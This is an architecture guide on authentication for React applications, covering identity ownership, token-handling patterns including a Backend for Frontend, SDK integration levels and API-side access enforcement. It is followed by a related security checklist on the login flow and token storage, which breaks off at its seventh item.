It sounds like an implementation task, but before you choose an SDK or write any code, there are a few architecture decisions you need to get right. Where should identity live? Who should be responsible for it? What should reach the browser? How should your React application connect to it? And when the application calls a backend, where should access actually be enforced?

This guide is intended to help you think through those questions as an architect.

It does not assume that you already understand identity standards, protocols or IAM terminology, and the goal is not to teach you all of them. We will introduce those concepts only when they help explain a particular architecture decision.

Instead, the focus is on giving you the right questions to ask yourself and the other teams involved, so you can find the right answers for your application and establish a solid authentication architecture before the implementation starts.

We will work through the architecture by answering a few questions: what does identity actually mean for a React application, and why does part of it need to live outside the browser; who should run and own that identity capability; once a user signs in, who should be responsible for handling the tokens; how should your React application connect to the identity system; what identity information can React use inside the application; and when React calls a protected backend, where should the real access-control decision happen.

By the end, you should have a clear picture of the authentication architecture around your React application and know what decisions need to be made before choosing a product, SDK or implementation pattern.

Start with what "identity" means for your application​

When somebody says "we need authentication," the visible requirement is normally sign-in.

But a real application usually needs more than checking a username and password.

It needs to know who the user is. It needs some way to decide what that user can do. It needs to remember that the user already signed in so they are not asked to prove themselves on every API call. Somebody has to create, update and disable user accounts. Eventually there will be password recovery, multi-factor authentication, enterprise sign-in or another requirement that was not part of the first implementation.

These different jobs have names in the identity world.

Checking who someone is is authentication.

Deciding what they are allowed to do is authorization.

Creating, updating and disabling their accounts is generally part of user lifecycle management.

The terminology itself is less important than understanding that these are separate responsibilities.

A user being successfully authenticated does not mean they should be allowed to do everything in your application.

As an example, both a finance administrator and a normal employee may successfully sign in. Authentication tells you that both users are who they claim to be. Authorization decides whether each user can approve a payment.

The important question for React architecture is where these responsibilities can safely live.

Why identity cannot simply live inside React​

A React application runs inside a browser on a device you do not control.

Anyone using your application can download the JavaScript, inspect it, debug it and change what runs in their browser. Anything included in the bundle should therefore be treated as public.

That gives us a useful architectural boundary.

React can participate in authentication, but it cannot be the trusted authority for authentication.

Consider a simple example:

{user.isAdmin && <AdminPanel />}

There is nothing wrong with this.

If the user is not an administrator, hiding the admin interface gives them the correct user experience.

But this code cannot protect the backend operation itself.

A user can modify the JavaScript. They can skip the UI completely and call your API directly.

So the React application can use identity information to decide what to display, but the trusted access decision still needs to happen somewhere outside the browser.

The same applies to sign-in itself.

React can collect a password, redirect the user to a sign-in page or start a passkey flow. But something outside React needs to keep the user record and verify the proof.

Account recovery also needs something outside the browser. The system may need to send an email, validate a one-time link, record recovery attempts and invalidate old credentials.

Once you look at the problem this way, identity is not another library that belongs inside your component tree.

It is a capability your application depends on.

The next architectural question is therefore straightforward:

Where should that identity capability run, and who should be responsible for it?

Four ways to provide identity​

There are four common answers.

You can build it yourself, use an authentication library inside your application, run a separate identity server, or use a managed identity service.

Each can produce a working sign-in screen.

The differences normally become visible later, when the requirements grow.

Build it yourself​

The first option is to own the identity implementation yourself.

Your backend stores users, verifies passwords and creates whatever session mechanism your application uses.

For a prototype, a hackathon or a small internal application, this can be reasonable.

The problem starts when the requirement stops being simply "check this password."

Soon you need email verification, password recovery, account locking, session revocation, multi-factor authentication, audit information and possibly single sign-on with another company's identity system.

None of these is impossible to build.

The real question is whether identity is something your application team wants to build and continue operating several years from now.

You are also taking responsibility for the security of that system. Libraries need security updates, behaviour has to be reviewed, and every new requirement extends a piece of infrastructure that your team created mainly because the application originally needed a login screen.

For most production applications, I would only choose this when owning identity itself is an intentional requirement.

Use an authentication library inside the application​

A second option is to use an authentication library such as Auth.js or Better Auth.

This removes a lot of low-level implementation work.

Instead of writing password handling, sessions and provider integrations completely yourself, you use a library that already provides much of that behaviour.

The important architectural point is where it runs.

The authentication capability still lives as part of your application stack.

For one application, this can be a very practical model.

But assume you later have three applications that should share the same users. Or an enterprise customer asks to connect its own company login. Or security wants authentication policy managed in one place.

At that stage, identity is starting to become reusable infrastructure rather than one feature inside one application.

That does not make an authentication library the wrong choice. It tells you where the natural boundary of that approach sits.

Run a separate identity service​

The third option is to move identity into its own service.

Examples include WSO2 Identity Server from WSO2 Identity Platform and Keycloak.

Your React application no longer owns the full authentication lifecycle. Instead, it redirects the user to the identity server, or still captures user input and calls an API exposed by the identity service which performs authentication and returns the result.

This separation becomes useful when multiple applications need the same users or security policies.

React remains responsible for your application experience. The identity service becomes responsible for identity.

The trade-off is operational.

You now have another production service to run. Your team is responsible for upgrades, security patches, availability, backups and configuration.

For organizations that need identity inside their own infrastructure, that control may be exactly what they want.

For teams that do not want another platform to operate, it may not be.

Use identity as a managed service​

The fourth option keeps identity as a separate capability but lets somebody else operate it.

Examples include WSO2 Identity Platform and Auth0.

The provider takes care of running the identity infrastructure, including upgrades, scaling and availability. Your team integrates the application and configures the authentication behaviour it needs.

For many teams, this is the shortest route to production authentication because identity does not become another service they need to operate.

The trade-off moves somewhere else.

You depend on an external provider, its deployment model and its commercial model.

If identity must remain inside your infrastructure, if the environment has no route to the public internet, or if you have a hard data-residency requirement that the service cannot meet, a managed public service may not fit.

The four approaches can be summarized as follows.

Once you make this decision, the user can sign in.

But your React application still has another problem.

The identity system knows that the user successfully authenticated. Your application and APIs now need a way to carry that result across requests.

This is where tokens enter the architecture.

Why tokens exist​

Assume the user signs in successfully.

You do not want to ask them to prove who they are again every time React loads a page or calls a backend. Instead, the identity system returns information that represents the result of that authentication. This information is commonly carried using a token.

There are several token types depending on the protocol and purpose. OAuth 2.0 has access tokens, OpenID Connect has ID tokens, and SAML uses assertions. Their formats can also be different. A token may be represented as a JWT, while a SAML assertion is XML, for example.

For this part of the architecture, the important distinction is between the OpenID Connect ID token and the OAuth 2.0 access token.

When your application needs to establish who the signed-in user is, the token designed for that purpose is the ID token. OpenID Connect returns an ID token containing claims about the authentication event and the authenticated user.

A typical ID token may look like this after it is decoded:

{
  "iss": "https://id.example.com",
  "sub": "248289761001",
  "aud": "react-app",
  "exp": 1787817600,
  "iat": 1787814000,
  "name": "Alice",
  "email": "alice@example.com"
}

You do not need to understand every possible claim at this stage. A few are enough to understand how the token is used: iss tells you which identity system issued the token, sub is the stable identifier for the authenticated user, aud tells you which application the token was issued for, exp tells you when the token expires, and claims such as name and email provide information about the user.

The important part is that your application should not simply decode this JSON and trust what it says.

The ID token needs to be validated first. At a minimum, the application handling the OpenID Connect flow needs to verify that the token came from the identity provider it trusts, was issued for the expected application, has not expired, and has a valid signature.

In practice, you normally do not write this validation logic yourself. If your React application handles the OpenID Connect flow directly, the SDK should perform these checks for you. If you use a backend such as a BFF, that backend validates the ID token, establishes the application session and gives React only the user information it needs.

An access token has a different job.

It is issued so a client can access a protected API. The API, rather than the React application, is the intended consumer of that token.

This distinction is easy to miss because an ID token and an access token may both use the JWT format and may even contain some similar claims. That does not make them interchangeable.

If your application needs to know who signed in, that identity should come from the OpenID Connect authentication result and the ID token, or from an application session established from that result. You should not take an OAuth access token, decode it and treat whatever user information happens to be inside it as the application's authenticated identity.

The same principle applies regardless of who handles the tokens.

If React handles the OpenID Connect flow directly, it receives and validates the ID token through the SDK.

If a BFF handles authentication, React may never see the ID token at all. The BFF validates it, creates an application session and exposes the authenticated user state to React.

The access token remains for a different boundary: calling the protected API.

This is why tokens appear in the architecture in the first place.

Your React application runs in one place, the trusted identity system runs somewhere else, and the protected API may run somewhere else again. Tokens allow authentication results and API access to move across those boundaries without repeating the sign-in process for every request.

In modern React applications, the standards you will most commonly encounter here are OAuth 2.0 and OpenID Connect, usually shortened to OIDC.

You do not need to implement these standards yourself to use them. Most identity platforms and SDKs handle the protocol details.

But you do need to make one architecture decision that directly affects your application:

Who is responsible for handling these tokens?

There are three common patterns.

React handles the tokens​

The first pattern is common in single-page applications.

In this model, the React application participates directly in the OpenID Connect flow. After the user signs in, the application receives the authentication result and the tokens it needs.

That normally means two different things are happening: the ID token is used to establish the authenticated user, and the access token is used when React calls a protected API.

If the identity provider also issues a refresh token to the browser application, that credential can be used to obtain new access tokens without asking the user to sign in again.

The important architectural point is that React is now directly responsible for handling some or all of these credentials.

When React calls an API, the access token is normally sent as follows:

Authorization: Bearer <access-token>

As discussed earlier, the access token is for the API. React should not decode that token and use whatever user information happens to be inside it as the source of truth for the signed-in user.

The authenticated user should come from the validated OpenID Connect authentication result, normally the ID token and the user state built from it.

Why PKCE appears in this pattern​

A React application runs in the browser, so it cannot safely keep a permanent client secret.

That creates a problem during the authorization flow. The application needs to exchange the authorization code returned after sign-in, but it cannot authenticate itself using a secret embedded in the JavaScript bundle.

This is where Proof Key for Code Exchange, or PKCE, comes in.

When React starts the sign-in flow, it creates a temporary random value and sends a derived value with the authorization request. When the authorization code comes back, the application has to provide the original value before the identity provider will complete the exchange.

In simple terms, PKCE helps prove that the application completing the flow is the same one that started it.

Your React code normally does not implement this directly. A suitable OIDC SDK handles it for you.

PKCE protects the authorization-code exchange. It does not make the browser itself trusted, and it does not solve the problem of protecting tokens after they have reached the browser.

That leads to the next decision.

Where do the tokens live?​

Once tokens are available to the React application, they have to be kept somewhere for as long as the application needs them.

There is no browser storage option that turns an untrusted browser into a trusted environment. The choices mainly change how long the credential remains available and how easily it can be extracted.

The distinction that matters here is between stealing a credential and using the authenticated session while malicious code is already running inside the page.

Keeping an access token in memory can reduce the chance that an attacker extracts it and reuses it later from somewhere else.

But if malicious JavaScript is already executing in your application, it may still be able to make API requests as the user while that page remains active.

The same consideration applies to the ID token. React may need the authenticated user state derived from it, but that does not mean the application should keep the raw ID token around longer than necessary.

A good SDK can hide much of this lifecycle from your application code, but the architectural boundary does not change: in this pattern, authentication credentials reach the browser, so browser compromise remains part of your threat model.

Your backend handles part of the token flow​

The second pattern assumes your React application already has a backend.

The user still signs in with the identity provider, but the backend takes responsibility for the final part of the OpenID Connect flow.

Instead of React exchanging the authorization code directly, the backend performs that exchange and receives the tokens.

At this point, the backend can validate the ID token, establish who the user is, and keep longer-lived credentials such as the refresh token on the server.

React can still receive a short-lived access token if it needs to call a protected API directly.

So the responsibilities are split: the backend handles the OpenID Connect response and establishes the authenticated user, the backend keeps the refresh token, and React may still receive a short-lived access token for API calls.

This is an important distinction from the first pattern.

React no longer needs to treat the ID token as part of its authentication state, and it does not need to keep the refresh token. The backend can create an application session or return only the user information React actually needs.

The access token is still different. If React needs to call the protected API directly, the backend can give it a short-lived access token for that purpose.

The flow now looks more like this:

React application
    |
    | Start sign-in
    v
Identity provider
    |
    | Authorization code
    v
Backend
    |
    | Token exchange
    v
Identity provider

Backend
    | \
    |  \ Refresh token stays here
    |
    | Short-lived access token
    v
React application
    |
    | Access token
    v
Protected API

This changes the exposure considerably.

The refresh token is normally the credential with the longest useful lifetime. If it remains on the server, compromising the React application does not automatically give an attacker the ability to continue obtaining new access tokens over a long period.

React still handles an access token, so the browser has not disappeared from the credential path completely.

If malicious JavaScript runs in the page, it may still be able to use or extract that access token while it is valid.

The difference is that the damage is bounded by the lifetime and privileges of that short-lived token rather than by a longer-lived refresh credential.

This pattern is therefore useful when you already have a backend and want to move the most sensitive parts of the authentication flow out of the browser without changing the way React calls your APIs.

The backend becomes responsible for authentication and token renewal.

React remains responsible for presenting the authenticated experience and using short-lived access tokens when it needs to call protected APIs directly.

If you want to remove access tokens from React as well, the boundary needs to move one step further.

Your backend handles all tokens​

The third pattern moves token handling completely out of the React application.

React never receives the ID token, access token or refresh token.

The backend handles the OpenID Connect flow, validates the ID token, establishes the authenticated user and keeps all OAuth tokens on the server.

React receives an application session instead.

This is normally represented using a secure, HTTP-only cookie.

From React's point of view, authentication now looks much simpler.

The browser does not need to know anything about OAuth tokens. It only knows that it has an authenticated application session.

When React needs data, it calls your backend.

The browser sends the session cookie automatically, the backend identifies the user, obtains or uses the appropriate access token, and calls the protected API on the user's behalf.

This architecture is commonly called a Backend for Frontend, or BFF.

The flow looks like this:

React application
    |
    | Start sign-in
    v
BFF
    |
    v
Identity provider
    |
    | Authorization response
    v
BFF
    |
    | Validate ID token
    | Keep access + refresh tokens
    | Create application session
    v
React application
    |
    | Session cookie
    v
BFF
    |
    | Access token
    v
Protected API

The important boundary is now very clear.

React never needs to handle identity tokens or API tokens directly.

The BFF establishes the user from the OpenID Connect response and exposes only the user information the application needs, for example:

{
  "id": "248289761001",
  "name": "Alice",
  "email": "alice@example.com"
}

React can use this information to render the application, but the raw ID token does not need to leave the backend.

The same applies to access tokens.

When React needs to call a protected API, it calls the BFF. The BFF attaches the access token and makes the downstream request.

This removes token theft from React code as a direct concern because there is no OAuth token in the JavaScript environment to steal.

But it does not make the browser trusted.

If malicious JavaScript runs inside the page, it may still make requests to the BFF while the user's session is active. The session cookie can be sent automatically with those requests even though JavaScript cannot read it.

So the BFF changes the problem rather than eliminating it.

You still need to protect against script injection, and because authentication now relies on cookies, you also need to consider cross-site request forgery protections, cookie attributes such as HttpOnly, Secure and SameSite, and the lifetime of the application session.

There is also an architectural cost.

The BFF is now in the path of every protected request.

That means it becomes part of your application's availability, latency and scaling requirements. You also need somewhere to maintain the session and token state associated with each user.

So I would not think of the BFF as simply the "most secure" of the three patterns.

It is a different boundary.

You are moving authentication state and OAuth credentials out of the browser and accepting more responsibility on the backend.

For applications handling sensitive data, or where you already have a backend that naturally sits between React and the protected APIs, that can be a very useful trade.

At this point, the three patterns can be viewed as one progression:

Pattern 1
React handles ID/access/possibly refresh tokens
    ↓ move long-lived credentials out
Pattern 2
Backend handles authentication + refresh token
React handles short-lived access token
    ↓ move all OAuth tokens out
Pattern 3
Backend handles all tokens
React handles only an application session

The question is not which pattern is universally correct.

The question is how much credential handling you want inside the browser, and how much backend responsibility you are willing to introduce to move it out.

How React connects to identity​

There are several levels at which you can integrate authentication into a React application.

I find it useful to think about these as three layers.

At the lowest level, your application understands most of the underlying protocol.

At the next level, an SDK handles the protocol and gives your React code authentication APIs.

At the highest level, the SDK also gives you ready-made React components.

You may see these referred to as L1, L2 and L3 SDKs.

The terminology is less important than the architectural question:

How much authentication-specific behaviour do you want inside your application code?

L1: work close to the protocol​

At this level you use a general OAuth or OpenID Connect client library and manage much of the application integration yourself.

You configure the authorization flow, process redirects, handle tokens, deal with expiry and refresh behaviour, and manage sign-out.

The advantage is control.

Your application is normally less coupled to one identity provider because it works directly against standard protocol behaviour.

The cost is that your application team now owns more identity-specific code.

I would use this level when protocol-level control or provider portability is an actual requirement, or when no suitable higher-level SDK exists.

I would not choose it simply because fewer abstractions look cleaner on an architecture diagram.

L2: use a headless SDK​

At the next level, the SDK handles the protocol and exposes APIs that fit naturally into React.

For example:

const { user, signIn, signOut } = useAuth();

The SDK takes responsibility for things such as redirects, token lifecycle and authentication state.

Your application still owns the interface.

You decide how the sign-in button looks, how errors are shown, what loading looks like and how user information fits into the rest of your design system.

This is often a good balance for React applications where authentication should behave like part of the product rather than a separate UI.

L3: use higher-level React components​

At the highest level, the SDK provides the React integration as well as ready-made components.

You may get components for sign-in, sign-out, user profiles and other common authentication experiences.

This reduces the amount of application code you need to write.

The trade-off is coupling.

Your JSX now contains components and APIs from a particular SDK. If you later change identity providers, that integration becomes part of the migration.

That may still be the right trade.

If the component gives your team a production-ready sign-in experience quickly and you have no strong requirement for provider portability, avoiding unnecessary authentication code can be more valuable than optimizing for a migration that may never happen.

The three levels look like this.

There is another part of this decision I would not ignore: who maintains the SDK.

A provider-maintained SDK is normally the most closely aligned with that identity platform and may support new provider capabilities first.

A community-maintained SDK can provide more independence from any one provider, but you should look carefully at maintenance activity, release frequency and the number of people actively supporting it.

A standards-oriented library may offer the least provider coupling, but you normally work closer to OAuth and OIDC concepts.

This is why choosing an SDK is an architectural decision rather than simply a package-selection decision.

Now React knows who the user is.

The next question is what your application should actually do with that information.

Using identity inside the React application​

After authentication, your React application normally has some information about the user.

Depending on your setup, this may come from an ID token, a user-info endpoint, a session API or your own backend.

The information may include things such as a user identifier, name and email, roles, groups, scopes or permissions, and organization or tenant information.

React can use this information to shape the application experience.

As an example, you may only show an administration menu when the user has the appropriate role:

{user.roles.includes("admin") && <AdminMenu />}

Or you might enable a particular operation based on a permission:

{user.permissions.includes("invoice:approve") && (
  <ApproveInvoiceButton />
)}

This is where identity becomes useful inside the application rather than simply being something that happened during sign-in.

But there is an important boundary.

A frontend access check is a user-experience decision, not the final security decision.

If React hides a button, that prevents the normal user from clicking the button.

It does not prevent somebody from calling the corresponding API themselves.

The browser is still under the user's control.

So frontend authorization can help you present the correct interface, but every sensitive operation still needs to be checked again by the backend.

This is the point where the two identity concepts we introduced earlier become useful.

Authentication answered: who is this user?

Authorization now answers: is this user allowed to perform this operation?

React can participate in authorization by shaping the UI.

The backend must enforce it.

That leads us to the final part of the architecture.

Calling a protected backend​

Once the user is signed in, your React application normally needs to call one or more protected APIs.

This is where the OAuth 2.0 access token comes into play.

As we discussed earlier, the ID token is used to establish the authenticated user. The access token has a different purpose: it is the credential presented to a protected API.

If React handles access tokens directly, the request normally looks like this:

Authorization: Bearer <access-token>

The API should treat that token as a credential, not simply as a piece of JSON containing user information.

Before doing anything with the request, the API needs to validate the access token. Depending on the token type and the identity system, that may involve checking its signature or using token introspection.

At a minimum, the API needs to establish that the token came from an issuer it trusts, has not expired, and was issued for that API.

Once the token is accepted, the API can use the information associated with it to make an access-control decision.

As an example, assume your React application shows an Approve invoice button because the authenticated user has the appropriate permission.

The frontend check gives the user the correct experience:

{user.permissions.includes("invoice:approve") && (
  <ApproveInvoiceButton />
)}

When the user clicks that button, React sends a request to the protected API using the access token.

The API must still make its own decision about whether that access token allows the operation.

That decision may be based on scopes, roles, permissions or application-specific policy. The exact model can vary, but the architectural rule does not:

React can use identity information to decide what to show. The protected API must use the access token to decide what the caller is allowed to do.

This is also why you should not rely on the ID token when calling an API.

The ID token was issued to the client application so it can establish the user's authenticated identity. The access token was issued for access to a protected resource.

Even if both happen to be JWTs and contain similar-looking claims, they have different purposes and different intended audiences.

What changes with the three token-handling patterns?​

The access token still exists in all three architectures. What changes is who handles it.

If React handles the tokens directly:

React application
    |
    | Access token
    v
Protected API

React obtains the access token and sends it with the API request.

If your backend handles part of the token flow:

Backend
    |
    | Short-lived access token
    v
React application
    |
    | Access token
    v
Protected API

The backend keeps the refresh token and gives React only the short-lived access token it needs for API calls.

With a BFF:

React application
    |
    | Application session
    v
BFF
    |
    | Access token
    v
Protected API

React never receives the access token. It calls the BFF using its application session, and the BFF presents the access token to the protected API.

This is an important point because the BFF does not remove OAuth access tokens from the architecture. It moves them away from the browser.

The API is the final enforcement point​

Regardless of which of these patterns you choose, the protected API must enforce access independently from React.

A route guard such as this:

<Route
  path="/admin"
  element={user.isAdmin ? <Admin /> : <Navigate to="/" />}
/>

is useful for controlling what the user sees.

It is not an access-control boundary.

Someone can bypass the React application and call the API directly.

So the API must validate the access token and make the same access decision before performing the protected operation.

This gives us a clean separation of responsibilities:

ID token
    |
    | Establish who signed in
    v
Client application / BFF

Access token
    |
    | Request access to a protected resource
    v
Protected API
    |
    | Validate token + enforce access
    v
Resource

The distinction between these two tokens is one of the most useful things to keep clear in the overall architecture.

The ID token establishes the authenticated identity for the client.

The access token carries the authority needed to call the protected API.

Once those two responsibilities are separated, it becomes much easier to reason about what React should know, what the backend should know, and where the final access decision belongs.

Putting the architecture together​

At this stage, the pieces connect.

You started with a React application that needed sign-in.

First, you established that identity is larger than a login screen and that the trusted part of it cannot live inside the browser.

Then you decided where identity should run: inside your own implementation, through an application authentication library, as a separate self-hosted identity server, or as a managed identity service.

Once the user authenticated, you decided who should handle the tokens: React, React plus your backend, or your backend completely, using the BFF pattern.

Then you decided how much of the identity integration should appear inside your React code: L1 protocol-level integration, L2 headless SDK, or L3 higher-level React components.

Finally, React used the authenticated identity to shape the application experience, while the backend remained responsible for enforcing the real access-control decision.

That gives you the complete architecture:

                +----------------------+
                |    Identity System   |
                +----------+-----------+
                           |
                     Authentication
                           |
                           v
+--------+          +---------+----------+
|  User  | -------> | React Application  |
+--------+          +---------+----------+
                           |
                     Session / Token
                           |
                           v
                +---------+---------+
                | Protected Backend |
                +---------+---------+
                           |
                     Authorization
                           |
                           v
                       Resources

There are several products, SDKs and protocol options behind each box, but I would not start by choosing those.

Start by deciding the boundaries.

Who owns identity? Who handles the token? How much identity logic belongs in React? And where is access actually enforced?

Once those decisions are clear, evaluating a particular identity platform or React SDK becomes much easier because you are evaluating it against an architecture rather than allowing the product to define the architecture for you.

Choosing the identity platform after the architecture​

Only now does provider selection become a useful question.

You are no longer asking which identity platform is "best for React."

You can ask whether it supports the architecture you already decided.

A few things become particularly useful to check.

Does it support standard protocols?​

OAuth 2.0 and OpenID Connect matter because they create a standard boundary between your application and the identity system.

A standards-based architecture does not make provider migration free, but it reduces how much of the integration needs to be proprietary.

Where certification is important to your requirements, you can also verify whether the provider has relevant OpenID certifications rather than relying only on compatibility claims.

Can it run where you need it?​

Some teams want a public managed service.

Others require self-hosting, private cloud or environments without public internet access.

This is normally a much more important architectural requirement than a small difference in SDK APIs.

Does it match your application model?​

If you build software for businesses, you may need organizations or tenants, organization administrators, enterprise federation and different authentication policies for different customers.

You can build that model yourself, but if it is fundamental to the product it is useful when the identity platform already supports it.

Can you extend it?​

Eventually you may need to call an external service during sign-in, add an additional verification step or change the information placed into a token.

The question is not whether the platform supports every future requirement today.

The more useful question is whether it gives you extension points when your requirement falls outside its default behaviour.

What happens if you need to move?​

Provider lock-in is not only about APIs.

Can you export users? What happens to password hashes? Can multi-factor authentication registrations move? What about passkeys? Can the old and new providers run in parallel during migration? How much of your React application depends on provider-specific SDKs or components?

The architecture decisions earlier in this guide determine how difficult most of those answers become.

WSO2 Identity Platform is worth evaluating in this context because it supports both managed and self-managed deployment models, including cases where identity needs to remain under your infrastructure control. It also supports organization-based B2B identity models and provides extension points for changing authentication behaviour without moving that logic back into the React application.

Whether those capabilities matter depends on the architecture you are building.

That is why the provider decision belongs at the end of this process rather than at the beginning.

Where this leaves your React application​

You may have started with a fairly ordinary requirement: add authentication to a React application.

But if you are responsible for the application architecture, the real job is deciding what React should own and what it should not.

Something outside the browser needs to own a trusted identity. You need to decide where tokens are handled and how much of that responsibility belongs in React. Your application then needs a deliberate integration boundary with the identity system, while the backend remains responsible for enforcing access to protected resources.

These decisions are much easier to make before the first authentication SDK becomes part of the application.

Once the boundaries are clear, the implementation becomes a much smaller problem.

The login redirects correctly. The user comes back signed in. API calls succeed. Logout appears to work. From a functional point of view, everything looks fine.

The issues usually sit around those successful flows: where tokens are stored, what happens when they expire, whether the API actually enforces authorization, how browser-side attacks affect the session, and whether logout really ends what you think it ends.

In this post, I will go through one architecture decision and 19 things worth checking in a React application. Most of them can be verified using browser developer tools or a few direct API calls.

Start with the architecture​

Before looking at individual authentication settings, start with one question: where does authentication actually run in your application, and where do the tokens end up?

For a React application, there are three common ways to build this.

1. Your React app handles authentication and keeps the tokens in the browser.
2. Your backend handles the login flow, but React still receives an access token and calls APIs directly.
3. Your backend handles authentication and keeps all the tokens, so React never receives one.

There is no single answer that fits every application. The important part is understanding what each option protects you from and what responsibility it adds.

One distinction is useful before going further: stealing a token and using an already authenticated browser are different problems.

If an attacker steals a token, they can take that credential somewhere else and use it independently of your application.

If malicious JavaScript is already running inside your page, it may not need to steal anything. It can use the authenticated application while the user is still signed in.

Where you keep the token makes a big difference to the first problem. It does not automatically solve the second.

Option 1: React holds the tokens​

This is the model most React authentication tutorials start with.

Your application redirects the user to sign in, receives tokens after authentication, keeps them somewhere in the browser, and attaches the access token to API calls.

It is also the simplest option when you have no backend of your own.

The trade-off is that the authentication credentials are now part of the browser environment. If malicious JavaScript runs inside your application, it may be able to read the tokens, obtain new ones, or make authenticated API calls.

That does not mean this architecture is always wrong. It means that if you use it, decisions such as token storage, token lifetime, refresh-token rotation, and browser security become much more important.

Option 2: Your backend handles login, React still calls the APIs​

The next option is to move the login flow to your backend.

Instead of React exchanging the authorization code and holding the long-lived authentication state, your backend does that work. It can keep the refresh token on the server and give React only the access token it needs to call APIs.

This removes the longer-lived credential from the browser, which is a useful improvement.

However, React still receives an access token. If malicious JavaScript runs inside the page, that access token can still be exposed or used.

This can be a practical middle ground when you already have a backend but do not want every API request to go through it.

Option 3: React never receives a token​

The third option is to keep all OAuth tokens on the backend.

React authenticates through your backend and receives a normal browser session, usually represented by a secure cookie. When the application needs data, it calls your backend, and the backend calls the API using the access token.

From the React application's point of view, there is no OAuth token to store or attach to requests.

This significantly reduces the risk of a token being extracted from frontend code because the token never reaches the frontend in the first place.

It does not solve every browser attack. If malicious JavaScript is running inside the application, it may still be able to make requests through the authenticated backend while the user's session is active.

There are also costs. Your backend is now in the request path, you have another component to operate on, and cookie-based sessions mean you need to think about CSRF protection as well.

For applications dealing with sensitive business or personal data, this is usually the option I would evaluate first.

If you use Next.js or another React framework with server-side capabilities, implementing this may be easier because you already have somewhere to run the backend part. A purely static deployment is different, so having a Next.js application does not automatically mean you already have this architecture.

Which one should you choose?​

If you have no backend, option 1 may be the practical choice. In that case, the rest of this checklist becomes particularly important.

If you already have a backend, option 2 removes some of the more sensitive authentication state from the browser without changing the application architecture too much.

If you want OAuth tokens completely outside the React application, option 3 provides the strongest separation, with the additional backend and session-management work that comes with it.

These three architectures are also described in the current OAuth guidance for browser-based applications, including RFC 10017, OAuth 2.0 for Browser-Based Applications. The terminology used there is browser-based OAuth client, token-mediating backend, and Backend for Frontend (BFF).

For the rest of this article, I will mostly use the simpler application-level descriptions above and introduce protocol terminology only where it helps explain the problem.

The login flow​

1. Make sure tokens are not coming back in the URL​

Sign in to your application and look at the URL you return to after login.

If you see something such as:

access_token=...

or:

#access_token=...

The application is likely using an older OAuth flow where the token is returned directly through the browser.

For modern React applications, the preferred model is Authorization Code flow with PKCE.

Instead of returning an access token in the URL, the login flow returns a short-lived authorization code. The application then exchanges that code for tokens separately.

PKCE adds another protection to this process. Your application creates a random value before starting login, sends a derived version with the login request, and must present the original value when exchanging the authorization code.

In other words, stealing the authorization code alone should not be enough to complete the flow.

Most modern authentication SDKs handle this for you.

Verify: inspect the request that sends the browser to the login page. You should see:

response_type=code
code_challenge=...
code_challenge_method=S256

After login, the redirect URL should contain code=, not an access token.

2. Decoding a JWT is not the same as validating it​

React applications often use libraries such as jwtDecode() to read information from a token.

There is nothing wrong with decoding a token when you want to display something such as the user's name.

The problem starts when decoded data is treated as trusted simply because it came from a JWT.

A JWT is just an encoded structure until its security properties have been checked.

For an OpenID Connect ID token, your authentication library should verify things such as:

• who issued the token
• whether it was issued for your application
• whether it is still valid
• whether the token has been changed
• any login-specific values such as a nonce when one was used

Most authentication SDKs already perform these checks.

The failure normally happens when application code separately decodes a token and then makes a security decision based on that decoded copy.

Verify: search your codebase for direct JWT decoding. For each use, check whether it is only reading information from a token that has already been validated or whether it is deciding whether the user should be trusted.

3. ID tokens and access tokens have different jobs​

After login, you may receive both an ID token and an access token.

They may look similar, but they are not interchangeable.

The ID token is primarily about the authentication event and the signed-in user. Your React application may use information from it to understand who logged in.

The access token is the credential used to call an API.

One common mistake is sending the ID token to the API simply because it is already available in the authentication state.

That can appear to work if the API performs only limited validation, but it is not the intended use of the ID token.

Also, do not assume every access token is a JWT. Some identity providers issue opaque access tokens, where the client should not depend on the internal format at all.

Verify: inspect the Authorization header being sent to your API:

Authorization: Bearer <token>

Confirm that this is the access token intended for API access, not the ID token.

4. Avoid hardcoding every authentication endpoint​

An authentication setup normally needs several endpoints, such as where to start login and where to exchange an authorization code for tokens.

You could configure each endpoint separately, but most modern identity providers publish metadata that authentication libraries can discover.

In practice, you normally configure the identity provider or issuer and let the SDK discover the relevant endpoints.

This becomes particularly useful when you have development, staging, and production environments or when an identity provider rotates signing keys.

Verify: search the codebase for:

/authorize
/token
.well-known

and for hardcoded identity-provider hostnames.

A provider or issuer URL in environment configuration is normal. The same authentication endpoint repeated in several components usually deserves another look.

5. Check your redirect URLs carefully​

When authentication finishes, the identity provider sends the browser back to a URL registered for your application.

That URL needs to match what the application is actually sending.

Small differences matter:

https://example.com/callback

is not necessarily the same as:

https://example.com/callback/

The scheme, hostname, port, path, and trailing slash all matter.

Loose redirect matching would make it easier to send an authentication response somewhere you did not intend, which is why identity providers normally require exact registered URLs.

Production authentication traffic should also use HTTPS.

Verify: compare the redirect URL configured in your React application with the value registered at the identity provider.

Do not compare them visually and assume they are the same. Compare the full value.

Token storage and refresh​

If your React application never receives OAuth tokens because you are using the backend model described earlier, much of this section becomes a backend concern.

If tokens do reach the browser, these decisions matter.

6. Know where your tokens are stored​

A lot of React examples contain something similar to:

localStorage.setItem("token", token);

It is convenient because the token survives page reloads.

The downside is equally simple: JavaScript running in your application's origin can also read it.

There are several common approaches: localStorage is easy to use and survives browser restarts, but is accessible to JavaScript running on the page. sessionStorage is also accessible to JavaScript, but normally limited to the lifetime of a browser tab. In-memory storage keeps the token only in application memory — it disappears when the page reloads, which reduces persistence but also means your authentication library needs another way to restore the session. A Web Worker can keep some authentication state outside the normal main-thread JavaScript environment, which can make direct token extraction harder — though it is not a complete solution to script injection: if malicious JavaScript is already running as part of your application, it may still be able to request authenticated operations even when it cannot directly read the token.

There is no storage option that makes browser security irrelevant.

Verify: sign in and inspect:

Developer Tools → Application → Local Storage
Developer Tools → Application → Session Storage

Understand where your SDK keeps its authentication state rather than assuming the default is appropriate for your application.

7. Protect refresh tokens​

Access tokens should normally be relatively short-lived.

A refresh token has a different purpose. It allows the application to obtain new access tokens without asking the user to sign in every few minutes.

Because it can remain useful for much longer, stealing a refresh token can be more serious than stealing a short-lived access token.

If a refresh token is issued to a browser application, current security guidance requires additional protection. The most common approach is refresh-token rotation.

With rotation, using a refresh token produces a new refresh token and invalidates the old one:

Refresh token A
    ↓
New access token
Refresh token B

The next refresh uses B and receives C.

If token A later appears again, the identity provider knows an already-used token has been presented and can react according to its security policy.

Another approach is sender-constrained refresh tokens, but rotation is the mechanism most React developers are likely to encounter.

Verify: trigger two refreshes and compare the refresh token returned each time.

If your identity provider uses rotation, the value should change. You can also test what happens if an older refresh token is used again.

